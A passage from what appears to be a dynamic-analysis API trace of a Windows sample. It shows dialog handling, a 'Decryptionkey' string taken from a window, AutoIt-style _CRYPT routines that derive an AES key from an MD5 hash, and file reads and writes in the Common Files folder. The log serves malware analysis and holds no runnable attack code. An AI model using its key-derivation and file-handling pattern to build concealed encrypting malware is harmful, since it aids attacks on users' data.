wParam=0x1, lParam=0x0) returned 0x0 [0041.794] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.794] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.794] GetWindowLongW (hWnd=0x8018c, nIndex=-20) returned 256 [0041.794] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x84, wParam=0x0, lParam=0x1fb035e) returned 0x1 [0041.794] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.794] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.794] GetClientRect (in: hWnd=0x8018c, lpRect=0xbf60cff520 | out: lpRect=0xbf60cff520) returned 1 [0041.794] GetCursorPos (in: lpPoint=0xbf60cff540 | out: lpPoint=0xbf60cff540*(x=862, y=507)) returned 1 [0041.794] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cff540 | out: lpPoint=0xbf60cff540) returned 1 [0041.794] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0041.794] SetCursor (hCursor=0x10003) returned 0x10003 [0041.794] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.794] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.794] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.794] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x200, wParam=0x0, lParam=0x185021d) returned 0x0 [0041.794] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.794] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.794] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.794] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.794] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x1b0106e3, lParam=0x0) returned 0x1 [0041.794] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.794] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.794] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.794] SetBkColor (hdc=0x1b0106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.794] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.794] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x1b0106e3, lParam=0x4) returned 0x0 [0041.795] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.795] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.795] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.795] SetBkColor (hdc=0x1b0106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.795] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.795] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.795] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.795] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cff010) returned 0x0 [0041.795] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.795] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.795] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.795] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cff010) returned 0x0 [0041.795] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.795] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.795] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.796] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.796] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0041.796] SendMessageW (hWnd=0x5011c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0041.796] GetWindowTextW (in: hWnd=0x5011c, lpString=0xbf60f25f30, nMaxCount=14 | out: lpString="Decryptionkey") returned 13 [0041.796] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.797] FindFirstFileW (in: lpFileName="C:\\PROGRA~1\\COMMON~1\\31236356313123635631", lpFindFileData=0xbf60cfef80 | out: lpFindFileData=0xbf60cfef80) returned 0xbf60f17590 [0041.797] FindClose (in: hFindFile=0xbf60f17590 | out: hFindFile=0xbf60f17590) returned 1 [0041.798] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.798] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0041.798] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.798] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0041.798] PeekMessageW (in: lpMsg=0xbf60cfec20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfec20) returned 0 [0041.798] GetLastError () returned 0x0 [0041.798] SetLastError (dwErrCode=0x0) [0041.798] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.798] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x7ffe2a590000 [0041.799] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.799] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.799] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0041.799] PeekMessageW (in: lpMsg=0xbf60cfef10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfef10) returned 0 [0041.799] PeekMessageW (in: lpMsg=0xbf60cfef10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfef10) returned 0 [0041.799] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.800] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.800] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.800] PeekMessageW (in: lpMsg=0xbf60cfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe990) returned 0 [0041.800] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0041.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0xbf60f35210, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0041.801] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContext") returned 0x0 [0041.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0041.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0xbf60f35890, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0041.801] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContextA") returned 0x7ffe2a59f478 [0041.802] CryptAcquireContextA (in: phProv=0xbf60cfe980, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xbf60cfe980*=0xbf60f6d4c0) returned 1 [0041.811] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 1 [0041.811] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff230) returned 0 [0041.811] TranslateMessage (lpMsg=0xbf60cff230) returned 0 [0041.811] DispatchMessageW (lpMsg=0xbf60cff230) returned 0x0 [0041.811] GetForegroundWindow () returned 0x8018c [0041.812] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.812] GetCursorPos (in: lpPoint=0xbf60cff090 | out: lpPoint=0xbf60cff090*(x=862, y=507)) returned 1 [0041.812] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cff090 | out: lpPoint=0xbf60cff090) returned 1 [0041.812] GetAsyncKeyState (vKey=1) returned 1 [0041.812] GetAsyncKeyState (vKey=2) returned 0 [0041.812] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.812] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.812] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0041.812] PeekMessageW (in: lpMsg=0xbf60cfef10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfef10) returned 0 [0041.812] PeekMessageW (in: lpMsg=0xbf60cfef10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfef10) returned 0 [0041.812] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.812] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.812] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.812] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0041.812] PeekMessageW (in: lpMsg=0xbf60cfef10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfef10) returned 0 [0041.813] PeekMessageW (in: lpMsg=0xbf60cfef10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfef10) returned 0 [0041.813] PeekMessageW (in: lpMsg=0xbf60cff230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff230) returned 0 [0041.813] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.813] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.813] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.813] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0041.813] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.814] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.814] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0041.814] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.814] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0041.814] PeekMessageW (in: lpMsg=0xbf60cfe540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe540) returned 0 [0041.814] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.814] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.814] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0041.814] PeekMessageW (in: lpMsg=0xbf60cfe830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe830) returned 0 [0041.814] PeekMessageW (in: lpMsg=0xbf60cfe830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe830) returned 0 [0041.815] PeekMessageW (in: lpMsg=0xbf60cfeb50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb50) returned 0 [0041.815] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.815] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.815] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.815] PeekMessageW (in: lpMsg=0xbf60cfe5c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe5c0) returned 0 [0041.815] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0041.815] PeekMessageW (in: lpMsg=0xbf60cfe5c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe5c0) returned 0 [0041.816] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xbf60f353b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0041.817] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0041.817] CryptCreateHash (in: hProv=0xbf60f6d4c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xbf60cfe650 | out: phHash=0xbf60cfe650) returned 1 [0041.818] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.818] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.818] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.818] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Decryptionkey", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Decryptionkey", cchWideChar=14, lpMultiByteStr=0xbf60f35430, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Decryptionkey", lpUsedDefaultChar=0x0) returned 14 [0041.819] CharLowerBuffW (in: lpsz="byte[13]", cchLength=0x8 | out: lpsz="byte[13]") returned 0x8 [0041.819] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.819] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.823] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.823] PeekMessageW (in: lpMsg=0xbf60cfe5c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe5c0) returned 0 [0041.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0041.823] CryptHashData (hHash=0xbf60f16140, pbData=0xbf60f35690, dwDataLen=0xd, dwFlags=0x1) returned 1 [0041.823] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.823] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.823] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.823] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.823] PeekMessageW (in: lpMsg=0xbf60cfe5c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe5c0) returned 0 [0041.823] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0041.823] PeekMessageW (in: lpMsg=0xbf60cfe5c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe5c0) returned 0 [0041.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0041.823] CryptDeriveKey (in: hProv=0xbf60f6d4c0, Algid=0x660e, hBaseData=0xbf60f16140, dwFlags=0x1, phKey=0xbf60cfe650 | out: phKey=0xbf60cfe650*=0xbf60f15730) returned 1 [0041.824] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.824] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.824] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.824] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.824] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.824] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0041.824] PeekMessageW (in: lpMsg=0xbf60cfe6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe6b0) returned 0 [0041.824] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0041.824] CryptDestroyHash (hHash=0xbf60f16140) returned 1 [0041.824] PeekMessageW (in: lpMsg=0xbf60cfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfee70) returned 0 [0041.824] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.824] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.824] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.824] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.825] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.825] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff040, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff040*=0) returned 1 [0041.825] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.825] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.825] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.826] GetFileAttributesW (lpFileName="C:\\PROGRA~1\\COMMON~1\\" (normalized: "c:\\progra~1\\common~1")) returned 0x10 [0041.826] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\3123635631" (normalized: "c:\\progra~1\\common~1\\3123635631"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0041.826] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.826] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.826] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.826] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.828] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xbf60cff0f0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xbf60cff0f0*=0) returned 1 [0041.828] ReadFile (in: hFile=0x194, lpBuffer=0xbf60f76a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cff130, lpOverlapped=0x0 | out: lpBuffer=0xbf60f76a00*, lpNumberOfBytesRead=0xbf60cff130*=0x10, lpOverlapped=0x0) returned 1 [0041.828] ReadFile (in: hFile=0x194, lpBuffer=0xbf60f76a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbf60cff130, lpOverlapped=0x0 | out: lpBuffer=0xbf60f76a00*, lpNumberOfBytesRead=0xbf60cff130*=0x0, lpOverlapped=0x0) returned 1 [0041.829] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.829] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff550) returned 0 [0041.829] PeekMessageW (in: lpMsg=0xbf60cff550, hWnd=0x0, 